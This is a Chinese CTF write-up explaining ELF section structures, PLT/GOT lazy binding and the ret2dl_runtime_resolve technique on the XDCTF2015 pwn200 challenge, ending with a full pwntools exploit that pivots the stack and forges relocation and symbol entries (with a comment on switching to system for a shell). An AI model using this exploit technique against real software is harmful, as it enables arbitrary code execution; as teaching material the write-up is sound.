美文网首页
ROP_1_ret2_dl_runtime_resolve

ROP_1_ret2_dl_runtime_resolve

作者: fIappy | 来源:发表于2018-12-11 21:02 被阅读0次

    参考:
    ctf-wiki高级ROP部分.
    ctf-wiki对elf文件格式的讲解
    https://bbs.pediy.com/thread-227034.htm
    由于原文讲解的不是很详细,自己看的时候有很多问题,于是慢慢将问题搞清楚记录下来.详解elf节的文件结构,plt,got机制.结合上面3个参考来理解.
    1.pwn200源码:

    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    
    void vuln()
    {
        char buf[100];
        setbuf(stdin, buf);
        read(0, buf, 256);
    }
    int main()
    {
        char buf[100] = "Welcome to XDCTF2015~!\n";
    
        setbuf(stdout, buf);
        write(1, buf, strlen(buf));
        vuln();
        return 0;
    }
    

    编译方式:gcc main.c -m32 -fno-stack-protector -o main
    2.stage1
    内容在 https://www.jianshu.com/p/0d45e2025d97
    3.stage5
    要理解这部分代码首先要搞清楚got,plt,elf文件结构的.rel.plt
    首先推荐一个观察elf文件格式的超好用的工具:wireshark. 没看错,我们都知道它是用来做流量分析的,可我突然发现直接把elf文件拖到wireshark中可以非常直观地查看elf文件结构.放个预览图:

    elf全貌
    可以发现header就是elf文件头,program header table 就是程序头表,section header table就是节头表.重点分析节头表及重要的节.
    节头:
    节头预览
    每一个节头由如下结构构成,以.rel.plt为例:
    .rel.plt头预览
    对应的数据结构:
    //如果以上图的函数的重定位节.rel.plt为例,字段值分别解释如下
    typedef struct {
        ELF32_Word      sh_name; //在字符串节中的偏移,一个elf文件有多个字符串表,这个是存在于.shstrtab中,这个值表示节名字符串起始地址在.shstrtab节中偏移
        ELF32_Word      sh_type;//SHT_REL
        ELF32_Word      sh_flags;//09
        ELF32_Addr      sh_addr;//0x0848330在内存中的虚拟地址
        ELF32_Off       sh_offset;//elf文件偏移
        ELF32_Word      sh_size;//该节的总大小 0x28字节
        ELF32_Word      sh_link;//0x5
        ELF32_Word      sh_info;//0x18
        ELF32_Word      sh_addralign;//0x4
        ELF32_Word      sh_entsize;//0x8 表示本节每个元素大小,由总大小0x28/0x8=5,故共有5个元素
    } Elf32_Shdr;
    

    从图中可以发现下面还有个segment,这个并不是节头的内容,而是该节的本身.wireshark帮我们把每个节的节本身也放在了节头下面,方便我们查看. 展开如下:


    节内容

    从file offset可知节位于文件偏移0x330处,点到segment后,如箭头指示,正好位于0x330处,而且具有5个元素(entry),每个元素8字节大小,这和文件头的描述吻合.每个不同的节的entry结构是不同的,.rel.plt的entry的结构为

    //函数的重定位节(表)
    //每个元素是个结构:
    typedef struct
    {
      Elf32_Addr    r_offset; //指向GOT表的指针
      Elf32_Word    r_info;//这个值>>8得到.dynsym的下标(从0开始),可求出当前函数的符号表项Elf32_Sym的指针,
    } Elf32_Rel;
    
    

    重要节.plt详解:
    节头:


    .plt节头

    .plt节位于文件偏移0x380处,在内存中地址为0x08048380,总大小0x60字节,每个entry4字节.调试验证一下:

    gef➤  x/24wx 0x8048380
    0x8048380:  0xa00435ff  0x25ff0804  0x0804a008  0x00000000
    0x8048390 <setbuf@plt>: 0xa00c25ff  0x00680804  0xe9000000  0xffffffe0
    0x80483a0 <read@plt>:   0xa01025ff  0x08680804  0xe9000000  0xffffffd0
    0x80483b0 <strlen@plt>: 0xa01425ff  0x10680804  0xe9000000  0xffffffc0
    0x80483c0 <__libc_start_main@plt>:  0xa01825ff  0x18680804  0xe9000000  0xffffffb0
    0x80483d0 <write@plt>:  0xa01c25ff  0x20680804  0xe9000000  0xffffffa0
    

    根据gdb的注释,确实如此.只不过在一个函数的plt中,并不是只有4字节,而是16字节(后面会用到).例如对0x80483d0 反汇编看看:

    gef➤  disas 0x80483d0
    Dump of assembler code for function write@plt:
       0x080483d0 <+0>: jmp    DWORD PTR ds:0x804a01c
       0x080483d6 <+6>: push   0x20
       0x080483db <+11>:    jmp    0x8048380
    End of assembler dump.
    

    这16字节是该函数的plt的调用过程.再查看got表,所谓的got表其实是.got.plt节


    image.png

    由代码的jmp DWORD PTR ds:0x804a01c(由图中0x804a000+0x101c得到) ,发现从plt跳到[0x804a01c]处执行.再看图知就是0x080483d6,正好是write函数的plt中第二条指令地址.根据延迟绑定机制,只有当函数被调用时才进行地址修正,故plt后2条指令就是修正过程,它会将write函数的got表项(这里就是0x804a01c)写入真正的地址(即[0x804a01c]=write函数真正地址)并执行.当第二次及其以后都不会再进入plt的后2条指令了.而是直接jmp到真正的地址.查看一下未初始化的got表内容:

    对got表
    gef➤  x/20wx 0x804a000
    0x804a000:  0x08049f14  0xf7ffd918  0xf7fee000(解析函数)    0x08048396(第一个)
    0x804a010:  0x080483a6(第二个...依次类推)  0x080483b6  0xf7e1b540  0x080483d6(正好是plt的第2行指令地址)
    0x804a020:  0x00000000  0x00000000  0x00000000  0x00000000
    0x804a030:  0x00000000  0x00000000  0x00000000  0x00000000
    0x804a040 <stdin@@GLIBC_2.0>:   0xf7fb55a0  0xf7fb5d60  0x00000000  0x00000000
    

    初始化后的got表内容:

    gdb-peda$ x/20wx 0x804a000
    0x804a000:  0x08049f14  0xf7ffd918  0xf7fee000  0xf7e68ff0
    0x804a010:  0x080483a6  0xf7e81440  0xf7e1b540  0xf7ed8b70(已初始化)
    
    gdb-peda$ disas 0xf7ed8b70
    Dump of assembler code for function write:
    => 0xf7ed8b70 <+0>: cmp    DWORD PTR gs:0xc,0x0
       0xf7ed8b78 <+8>: jne    0xf7ed8ba0 <write+48>
       0xf7ed8b7a <+0>: push   ebx
       0xf7ed8b7b <+1>: mov    edx,DWORD PTR [esp+0x10]
       0xf7ed8b7f <+5>: mov    ecx,DWORD PTR [esp+0xc]
       0xf7ed8b83 <+9>: mov    ebx,DWORD PTR [esp+0x8]
       0xf7ed8b87 <+13>:    mov    eax,0x4
       0xf7ed8b8c <+18>:    call   DWORD PTR gs:0x10
      .................
    

    而下面的0x8048380(.plt节内容基址)就是_dl_runtime_resolve函数的plt:

    gef➤  x/20i 0x8048380  //强制反汇编
       0x8048380:   push   DWORD PTR ds:0x804a004
       0x8048386:   jmp    DWORD PTR ds:0x804a008
       0x804838c:   add    BYTE PTR [eax],al
       0x804838e:   add    BYTE PTR [eax],al
       0x8048390 <setbuf@plt>:  jmp    DWORD PTR ds:0x804a00c
       0x8048396 <setbuf@plt+6>:    push   0x0
       0x804839b <setbuf@plt+11>:   jmp    0x8048380
       0x80483a0 <read@plt>:    jmp    DWORD PTR ds:0x804a010
       0x80483a6 <read@plt+6>:  push   0x8
       0x80483ab <read@plt+11>: jmp    0x8048380
       0x80483b0 <strlen@plt>:  jmp    DWORD PTR ds:0x804a014
       0x80483b6 <strlen@plt+6>:    push   0x10
       0x80483bb <strlen@plt+11>:   jmp    0x8048380
       0x80483c0 <__libc_start_main@plt>:   jmp    DWORD PTR ds:0x804a018
       0x80483c6 <__libc_start_main@plt+6>: push   0x18
       0x80483cb <__libc_start_main@plt+11>:    jmp    0x8048380
       0x80483d0 <write@plt>:   jmp    DWORD PTR ds:0x804a01c
       0x80483d6 <write@plt+6>: push   0x20
       0x80483db <write@plt+11>:    jmp    0x8048380
    

    前4行就是_dl_runtime_resolve的plt,它自己的got:0x804a008内容如下:是真正的地址,不需要修正的

    gef➤  x/w 0x804a008
    0x804a008:  0xf7763000
    
    gef➤  disas 0xf7763000
    Dump of assembler code for function _dl_runtime_resolve:
       0xf7763000 <+0>: push   eax
       0xf7763001 <+1>: push   ecx
       0xf7763002 <+2>: push   edx
       0xf7763003 <+3>: mov    edx,DWORD PTR [esp+0x10]
       0xf7763007 <+7>: mov    eax,DWORD PTR [esp+0xc]
       0xf776300b <+11>:    call   0xf775c7e0 <_dl_fixup>
       0xf7763010 <+16>:    pop    edx
       0xf7763011 <+17>:    mov    ecx,DWORD PTR [esp]
       0xf7763014 <+20>:    mov    DWORD PTR [esp],eax
       0xf7763017 <+23>:    mov    eax,DWORD PTR [esp+0x4]
       0xf776301b <+27>:    ret    0xc
    End of assembler dump.
    

    其实_dl_runtime_resolve函数接收2个参数,从write的plt发现,跳转到_dl_runtime_resolve的plt之前push了一个参数0x20,_dl_runtime_resolve的plt第一条指令也是push一个参数,这个参数不用管他.即通过传入不同的参数会对不同的函数进行修正.这个0x20的参数表示的是离.rel.plt节的偏移.前面已经知道.rel.plt节每个entry8字节,因此write对应函数重定位节的第4个entry.也就是说,对_dl_runtime_resolve指定好第二个参数后,就能直接调用
    _dl_runtime_resolve来间接调用函数._dl_runtime_resolve的内部是通过第一个参数获取到.dynamic节,又能通过.dynamic节获取到.dynstr, .dynsym, .rel.plt 这3个节.总之:

    _dl_runtime_resolve会
    用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
    .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
    rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
    .dynstr + sym->st_name得出符号名字符串指针
    在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
    调用这个函数

    .dynamic节内容:


    .dynamic节内容

    重要的entry已经被展开,结构如下

        typedef struct {
        Elf32_Sword     d_tag;//不同的entry该值不同
        union {
            Elf32_Word  d_val;
            Elf32_Addr  d_ptr;
        } d_un;//对于tag为5,6,0x17(23)时,分别是指向.dynstr, .dynsym, .rel.plt这3个section的指针.3时,指向.got.plt
    } Elf32_Dyn;
    

    .rel.plt 节entry上面已说过,8个字节,前4字节指向对应函数的.got.plt节(got表)的值,即当_dl_runtime_resolve找到真正的地址时会执行类似于这样的东西: *(int*)(Elf32_Rel->r_offset)=真正的地址
    .dynsym节:
    专用的动态符号表, 内容结构如下,每个结构大小16字节
    ELF 文件中 export/import 的符号信息全在这里。
    但是,.symtab 节中存储的信息是编译时的符号信息


    .dynsym节

    对应结构:

        typedef struct
    {
      Elf32_Word    st_name;   /* Symbol name (string tbl index) */ 该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。这个是_dl_runtime_resolve解析外部函数的关键成员.
      Elf32_Addr    st_value;  /* Symbol value */如果这个符号被导出,这个符号保存着对应的虚拟地址。
      Elf32_Word    st_size;   /* Symbol size */
      unsigned char st_info;   /* Symbol type and binding */
      unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
      Elf32_Section st_shndx;  /* Section index */
    } Elf32_Sym;
    

    .dynstr
    和.strtab(存储程序中的变量名,函数名), .shstrtab(存储的是节区名的字符串)类似

    此时直接看ctf-wiki的stage5代码:

    from pwn import *
    elf = ELF('main')
    r = process('./main')
    rop = ROP('./main')
    
    offset = 112
    bss_addr = elf.bss()
    
    r.recvuntil('Welcome to XDCTF2015~!\n')
    
    ## stack pivoting to bss segment
    ## new stack size is 0x800
    stack_size = 0x800
    base_stage = bss_addr + stack_size
    ### padding
    rop.raw('a' * offset)
    ### read 100 byte to base_stage
    rop.read(0, base_stage, 100)
    ### stack pivoting, set esp = base_stage
    rop.migrate(base_stage)
    r.sendline(rop.chain())
    
    ## write sh="/bin/sh"
    rop = ROP('./main')
    sh = "/bin/sh"
    #这些值可以边调试代码边到wireshark中查看是否一致
    plt0 = elf.get_section_by_name('.plt').header.sh_addr#获取.plt在内存中地址:0x8048380
    rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr#获取.rel.plt在内存中地址:0x8048330
    dynsym = elf.get_section_by_name('.dynsym').header.sh_addr#获取.dynsym在内存中地址:0x80481d8
    dynstr = elf.get_section_by_name('.dynstr').header.sh_addr#获取.dynstr在内存中地址:0x8048278
    
    ### making fake write symbol
    
    #将伪造的符号结构置于 base_stage + 32的地方,不能少于32,因为前面+24的地方是伪造的重定位结构,+本身
    #8字节即32.
    fake_sym_addr = base_stage + 32
    #下面2行是为了地址对齐,经过调试,这个align是0x10
    align = 0x10 - ((fake_sym_addr - dynsym) & 0xf )# since the size of item(Elf32_Symbol) of dynsym is 0x10
    fake_sym_addr = fake_sym_addr + align
    
    ## plus 10 since the size of Elf32_Sym is 16.
    index_dynsym = (fake_sym_addr - dynsym) / 0x10  #计算伪造的符号结构在符号节的索引,用于伪造的.rel.plt
    #计算伪造的字符串结构(其实就是字符串)离字符串节偏移,用于填充伪造的符号结构第一个字段
    st_name = fake_sym_addr + 0x10 - dynstr#伪造的字符串位于fake_sym_addr + 0x10
    fake_write_sym = flat([st_name, 0, 0, 0x12])#伪造的符号结构,后3个字段都一样,无需更改
    
    ### making fake write relocation
    
    ## making base_stage+24 ---> fake reloc
    #将伪造的重定位结构置于 base_stage + 24的地方
    #计算重定位结构与rel_plt基址偏移,用于作为_dl_runtime_resolve的参数
    index_offset = base_stage + 24 - rel_plt
    #伪造的重定位结构,Elf32_Rel.r_offset=write_got ;Elf32_Rel.r_info=(index_dynsym << 8) | 0x7
    write_got = elf.got['write']
    r_info = (index_dynsym << 8) | 0x7#在wireshark中可以看到这些结构的r_info低位都有0x7,这里也加上就好了
    fake_write_reloc = flat([write_got, r_info])
    
    rop.raw(plt0)
    rop.raw(index_offset)
    ## fake ret addr of write
    rop.raw('bbbb')
    #write函数的3个参数
    rop.raw(1)
    rop.raw(base_stage + 80)#sh的地址
    rop.raw(len(sh))
    rop.raw(fake_write_reloc)  #将伪造的重定位结构置于 base_stage + 24的地方
    rop.raw('a' * align)  # padding
    rop.raw(fake_write_sym)  # fake write symbol#将伪造的符号结构置于 base_stage + 32的地方
    rop.raw('write\x00')  #.伪造的字符串必须以0结尾,将这里改为system并修改参数即调用之
    rop.raw('a' * (80 - len(rop.chain())))
    rop.raw(sh)
    rop.raw('a' * (100 - len(rop.chain())))
    
    r.sendline(rop.chain())
    r.interactive()
    

    相关文章

      网友评论

          本文标题:ROP_1_ret2_dl_runtime_resolve

          本文链接:https://www.haomeiwen.com/subject/sovehqtx.html